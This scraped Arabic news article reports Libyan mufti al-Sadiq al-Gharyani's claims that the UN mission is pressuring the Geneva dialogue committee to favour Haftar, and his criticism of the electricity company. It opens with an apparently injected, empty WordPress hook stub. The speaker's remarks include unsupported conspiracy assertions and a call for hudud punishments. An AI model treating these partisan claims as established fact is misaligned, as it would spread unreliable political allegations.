/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ الغرياني: البعثة الأممية تحبس لجنة الـ75 لإجبارهم على بدعة القاعدة الدستورية ودعم حفتر - اخبار ليبيا
اقتصاد خليفة حفتر طبرق طرابلس ليبيا الان مصرف ليبيا المركزي

الغرياني: البعثة الأممية تحبس لجنة الـ75 لإجبارهم على بدعة القاعدة الدستورية ودعم حفتر

ليبيا – قال مفتي المؤتمر العام المعزول من قبل مجلس النواب الصادق الغرياني إن ما يجري في جنيف من مباحثات الغرض منه الوصول لمشروع البعثة الأممية، والهروب من مسألة الاستفتاء على الدستور، وهذا هو السبب وراء خلق ما وصفه بـ”بدعة القاعدة الدستورية” لتفصيلها بشكل مناسب وملائم للبعثة الأممية.
الغرياني زعم خلال استضافته عبر برنامج “الإسلام والحياة” الذي يذاع على قناة “التناصح” التابعة له أمس الأربعاء وتابعتها صحيفة المرصد أن “البعثة لا تخفي تعاونها ونصرتها ودعمها لحفتر وعقيلة صالح والانقلاب على الشرعية وإطالة عمر الأزمات في ليبيا، وكل المندوبين بعد أن رحلوا بينوا هذا وصرحوا به”.
ووجه حديثه لأعضاء لجنة الـ 75 الذين تحبسهم البعثة في جنيف لتستخرج منهم الموافقة على مشروعها، محذرًا إياهم من المسؤولية التاريخية والشرعية، مضيفًا: “ما لم يحصل عليه حفتر بالسلاح والحروب والمرتزقة والدعم الغربي يريدونكم أن تمكنوه منه بالسياسة وباختياركم بإرادتكم، وأن تمكنوه من هذا بالقانون، كل الموجودين في جنيف عليهم أن يحتاطوا لأنفسهم”.
وفيما يتعلق بأزمة الكهرباء علق قائلًا: “يضع انقطاع التيار الكهربائي الطويل هذه الأيام أعباء إضافية ثقيلة على الأسرة الليبية، بالأخص في هذه الأجواء الحارة؛ لأنه ليس مثل غيره من الأعوام الأخرى، فالدراسة فيه على قدم وساق لجميع المراحل من الابتدائي حتى الجامعة، وهو صيف دراسي جاء في ظرف قاسٍ وشديد الحرارة، في ظل انقطاع التيار الكهربائي لساعات طويلة، وبانقطاعه تنقطع الاتصالات والمياه وينقطع التبريد وتتعطل الكثير من الخدمات الطبية والعامة في المصارف والإدارات والمؤسسات ومرافق الحياة المختلفة ما يضع عبئًا ثقيل على المواطنين”.
كما تابع: “أتمنى من شركة الكهرباء أن تكون قد استفادت من هذه السنوات الطويلة ووضعت دراسات مفصلة معمقة، ولا أظن أنه ينقصها الخبراء لمعرفة الأسباب ووضع العلاج اللازم لما نحن فيه، وكنت أتمنى منها أن تكون قد خرجت لنا وتكون أكثر شفافية وتبين الأسباب التي أوصلتنا لهذا الحال المتردي”.
وأردف: “صحيح أن برلمان طبرق ما زال يحتجز الميزانية حتى بعد منتصف السنة، وما زال يتلاعب ويساوم بها ويزايد، ولكن رئيس الحكومة تحمل المسؤولية، وفي اجتماعه الأخير مع الشركة وضع لهم كل شيء على الطاولة ولم يخفِ شيئًا، وأنه تحمل المسؤولية بالكامل”.
وفيما يلي النص الكامل للمداخلة:
 
س/ مع ارتفاع درجة الحرارة واستمرار أزمة الكهرباء ازداد الاحتقان الشعبي، والبعض يلوم على عامة الناس في عدم ترشيد الاستهلاك ودفع الفواتير، والبعض الآخر يطالبهم بالصبر وترك الأسباب الحقيقية للأزمة، ما توجيهكم؟
ج/ يضع انقطاع التيار الكهربائي الطويل هذه الأيام أعباء إضافية ثقيلة على الأسرة الليبية، بالأخص في هذه الأجواء الحارة؛ لأنه ليس مثل غيره من الأعوام الأخرى، فالدراسة فيه على قدم وساق لجميع المراحل من الابتدائي حتى الجامعة، وهو صيف دراسي والطلاب يستعدون الآن للامتحانات، وأولياء الأمور في ضنك شديد، لأن أبناءهم يستعدون للامتحانات في ظرف قاسٍ وشديد وحرارة مرتفعة في الأربعينات، والتيار الكهربائي ينقطع لساعات طويلة، وبانقطاع التيار الكهربائي تنقطع الاتصالات والمياه وينقطع التبريد وتتعطل الكثير من الخدمات الطبية والعامة في المصارف والإدارات والمؤسسات ومرافق الحياة المختلفة، ما يضع عبئًا ثقيلًا على الناس.
وهذا الانقطاع ليس مجدولًا ولا معلومًا بل هو عشوائي، والأمم التي تحصل عندها مثل هذه المشاكل وانقطاع للتيار الكهربائي وتحترم شعوبها تعمل جدولة لكل منطقة ينقطع فيها التيار من الساعة كذا للساعة كذا، بحيث كل إنسان يعرف الوقت ويستعد له حفاظًا على الأجهزة الحساسة؛ لأن الأجهزة في البيوت حساسة بسبب العمل العشوائي غير المنظم والمسؤول.
هل الشعب الليبي والأسر تتحمل هذه التكاليف الباهظة؟ هل هي ضرورية ولا مناص منها ولا يمكن تفاديها؟ أم هي انقطاعات غير ضرورية تكون بسبب أخطاء أو إهمال أو شيء من ذلك؟ بدليل أننا نرى بلادًا أقل إمكانيات من ليبيا كتونس ولا نجد فيها انقطاعًا للتيار ولا هذه الأزمة، لذلك شركة الكهرباء الناس كلها تقيم عليها الحجة ولا يوجد عندها مخرج من الأزمة التي هي واقعة فيها لسنين.
أتمنى من شركة الكهرباء أن تكون قد استفادت من هذه السنوات الطويلة ووضعت دراسات مفصلة معمقة ولا أظن أنها ينقصها الخبراء لمعرفة الأسباب ووضع العلاج اللازم لما نحن فيه وكنت أتمنى منها أن تكون قد خرجت لنا وتكون أكثر شفافية وتبين الأسباب التي أوصلتنا لهذا الحال المتردي، ما السبب؟ أين مكمن الداء لا بد أن نعرفه؟ هل هو عدم توفر الموارد المالية؟
صحيح أن برلمان طبرق ما زال يحتجز الميزانية حتى بعد منتصف السنة، وما زال يتلاعب ويساوم بها ويزايد، ولكن رئيس الحكومة تحمل المسؤولية، وفي اجتماعه الأخير مع الشركة وضع لهم كل شيء على الطاولة ولم يخفِ شيئًا، وأنه تحمل المسؤولية بالكامل وما تقدم له ورقة ولا صرف مالي وتأخر عنه، يمضي وعيونه مغمضة، وكذلك مصرف ليبيا المركزي وديوان المحاسبة لن يبقي لهم عذر، البرلمان يحجز الميزانية لكن الحكومة وفت وكفت وأقامت الحجة على مؤسسة الكهرباء، إذًا من الأسباب التي يبدونها يقولون إنه ليس هناك جباية، أقول نعم يجب هي ممكنة وليس كما يسوقون أنها غير ممكنة في ظل الأوضاع الأمنية الموجودة، أقول لهم أكثر الناس في الشعب الليبي موظفون ويأخذون مرتبات من المؤسسات الرسمية، بالإمكان أن تخصم من مرتباتهم قيمة مالية كل آخر شهر كعشرين دينار، وآخر العام يعملون تصفية، من عنده فائض يردونها له، ومن لديه نقص يأخذونه منه ويضاعفون عليه المبلغ في العام القادم ويخصم من غير اختيار، وباقي أصحاب الأعمال والورش وغيرهم يربطون هذا بالرخص والأمور الأخرى التي تجعلهم لا يستطيعون إخراج ورقة حتى رقم وطني، إلا ويطلبون منه شهادة أنه دفع الكهرباء، هذه مسألة الجباية، ممكنة وتغلبوا عليها لو عزمت الشركة على ذلك وكانت هذه هي المشكلة الحقيقية.
قد يقول قائل إنهم يسوقون إنه لا يوجد حماية للشركات وسرقات للأسلاك وغيرها، أقول هذا يمكن التغلب عليه وتجلس المؤسسة مع المسؤولين في الحكومة ورئيسها والوزارات المعنية والأجهزة الأمنية والكتائب ويتفقون كل من يمسَك به وهو يتلاعب بالأسلاك أو الشبكة يكون له عقاب شديد وعبرة لغيره، لأن هذا من الأمن القومي، وعقوبته كالخيانة العظمى، ويجب أن تقام عليه الحدود؛ لأنه من الفساد في الأرض، ولا بد أن تكون له عقوبة رادعة.
ربما الخلل يأتي من جهة أنكم لا تتعاونون مع جهات موثوق بها وشركات محل ثقة كالشركات التركية التي أثبتت إخلاصها لنا، ودولة ناصرتنا ووقفت معنا وقت الشدة، وبفضل الله هزمنا العدو الذي كان يجتاح طرابلس ويهلك الحرث والنسل، لماذا لا تتعاون مع هذه الشركات؟ وجدناهم في لقائهم مع رئيس الحكومة أنهم يتعاملون مع شركات أخرى مغمورة وواجههم بها رئيس الحكومة كشركة مغربية غير معروفة، وحتى عندما زار رئيس الحكومة المغرب قالوا لا نعرفها وتبينت أنها متسترة، وهي في الحقيقة ليست مغربية بل شركة فرنسية، يا من تشتغلون في مجلس إدارة الكهرباء هل واحد منكم يصدق أن فرنسا يمكن أن تساعدنا على التغلب على الأزمات الموجودة في ليبيا من كهرباء وغيرها؟ هل تصدقون هذا؟ أنا أقول لأن هذا تعمد لعدم حل المشاكل، لأن فرنسا أخذت على عاتقها هي ودول أخرى ألا تفرج الأزمات في بلاد الثورات العربية، وفعلوا ذلك مع مصر والدول الأخرى، دفعوا أكثر من عشرين مليار لإسقاط مرسي ليأتي السيسي ليقوم بحماية المشروع الصهيوني وإسرائيل.
فرنسا مصنفة على أنها دولة عدوة وتعمل على عدم استقرار ليبيا، كيف تتركون دولة صديقة مسلمة لا تتعاونون معها وتتعاقدون مع شركة مغمورة فرنسية ومتسترة تحت الدولة المغربية؟ هل تتحشمون من التعامل مع دولة مسلمة؟ أم أنهم لن يسكتوا عليكم إذا كنتم تقولون إننا تعاونّا مع تركيا سيتسلط عليكم الإعلام بأنهم إخوان؟ لن يتركوكم أبدًا حتى لوسبحتم بحمد حفتر ليل نهار، لن يتركوا أحدًا، لذلك على المؤسسة وشركة الكهرباء إذا أرادت الخير والإصلاح أن تصلح أمرها وتتعامل مع الناس الموثوق بهم ومن يقفون مع الشعب الليبي وليس مع أعدائه، وإن لم ينفع بعد هذه المدة من المعاناة تستفيد الشركة بالأموال التي أعطيت لها ولم تثمر وتفد شيئًا، وما زالت الأزمات في نفس المستوى والوضع الأول، أقول ينبغي على الناس والحكومة أن تبحث عن الطاقة البديلة بدلًا من أن تعطى الأموال لشركة لمدة عشر سنوات ولم تتقدم خطوة واحدة وهي بالمليارات، لتوظفيها في مشروع آخر قد نجحت في الكثير من الدول.
ترشيد الاستهلاك يأتي بعد تفعيل نظام الجباية عند الناس سيرشدون، وإذا لم يفعل نظام الجباية الناس سيبقون على هذا الإهمال والصرف في الكهرباء غير المحدود. المنطق الآخر أن يأمروا الناس بالصبر، هذا منطق غريب وصارم، بالفطرة والعقل والشرع، عندما يكون هناك فساد وتعلم أن هذا ليس أول مرة بل تدهور وإهمال في التيار الكهربائي على مدى عشر سنوات، عندما نقول للناس استمروا بالصبر والاحتساب ولا نعالج المشكلة هذا أشبه بمن فاتته صلاة الصبح وبدلًا من أن يؤنب ويقال إنه يجب عليك أن تأخذ بالأسباب، يقال له اصبر واحتسب واستمر على ما أنت عليه، كلام فاسد ويهمل الأخذ بالأسباب وإصلاح الفساد ومعناه الاستسلام للفساد، يجب أن تغير الفساد وهذا ما أمرنا به الشرع.
 
س/ ما زال ملتقى الحوار السياسي يناقش القاعدة الدستورية والذي يريد بعضهم تمرير صيغة تمكن مجرم الحرب حفتر من الترشح لنبقى دائمًا بين خيارين، إما حكم العسكر أو الفوضى. ما واجبنا لحفظ حق الشعب لاختيار الأصلح؟
ج/ ما يجري في جنيف من مشروع البعثة هو تفصيل، هربوا من موضوع الاستفتاء على الدستور وهذا ما جعلهم يخلقون بدعة القاعدة الدستورية؛ بحيث أنهم يستطيعون أن يفصلوها التفصيل المناسب والملائم للبعثة الأممية، البعثة لا تخفي تعاونها ونصرتها ودعمها لحفتر وعقيلة صالح والانقلاب على الشرعية وإطالة عمر الأزمات في ليبيا، والصراع لا تخفيه، وكل المندوبين بعد أن رحلوا بينوا هذا وصرحوا به، وعندما كان حفتر يدمر ويواجه المجاهدين في طرابلس كان الأمين العام للأمم المتحدة موجودًا في طرابلس ولم يستطع أن يستنكر على حفتر ما يفعله، لذلك الأمم المتحدة تدعم حفتر وكل مشروع تحشد له الناس ومن دعتهم في جنيف وتونس كلهم تضع لهم من المشاريع ما يلائم التوجه الذي تريده، وهم الآن يفصلون القاعدة الدستورية للانتخاب تفصيلًا غريبًا عجيبًا لا يقبله أي إنسان.
هم يقولون: إن من هو في منصب العسكري ويريد أن يترشح ينبغي أن يستقيل، وبعدها إذا نجح فيها، وإذا لم ينجح يحق له الرجوع لمنصبه. كم واحد عسكري يريد أن يترشح الآن؟ لا يوجد إلا حفتر وكأنهم لم يصرحوا باسمه، هل هذا يعقل؟ أنت استقلت كيف ترجع لمنصبك؟ تجد الأشياء الغريبة التي لا يصدقها عقل تجد البعثة مستعدة بكل صفاقة أن تفرضها. البعثة تختار بعض الناس على مقاسها، وأعلم أن لجنة الـ 75 فيها أخيار، لكنهم قلة تختارهم البعثة الأممية لتمضي في مشروعها.
أتوجه للجنة الـ 75 الذين تحبسهم البعثة في جنيف لتستخرج منهم الموافقة، هو مشروعها، ولكن تريد أن يلبسوه ولا تريد فرضه بل تأخذهم وتفسحهم ولا تخرجهم من هذا المكان إلا بعد موافقتهم. أنا أحذرهم، هناك مسؤولية تاريخية وشرعية وأذكركم بها لأن هذا سيكتبه عليكم التاريخ ويسألكم الله عن كل التبعات، ما لم يتحصل عليه حفتر بالسلاح والحروب والمرتزقة والدعم الغربي يريدونكم أن تمكنوه منه بالسياسة وباختياركم وبإرادتكم وأن تمكنوه من هذا بالقانون، كل الموجودين في جنيف عليهم أن يحتاطون لأنفسهم. وإياكم أن تثقوا بمشروع الأمم المتحدة لأنه مهلكة لكم.
 
 

يمكنك ايضا قراءة الخبر في المصدر من صحيفة المرصد

عن مصدر الخبر

صحيفة المرصد الليبية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya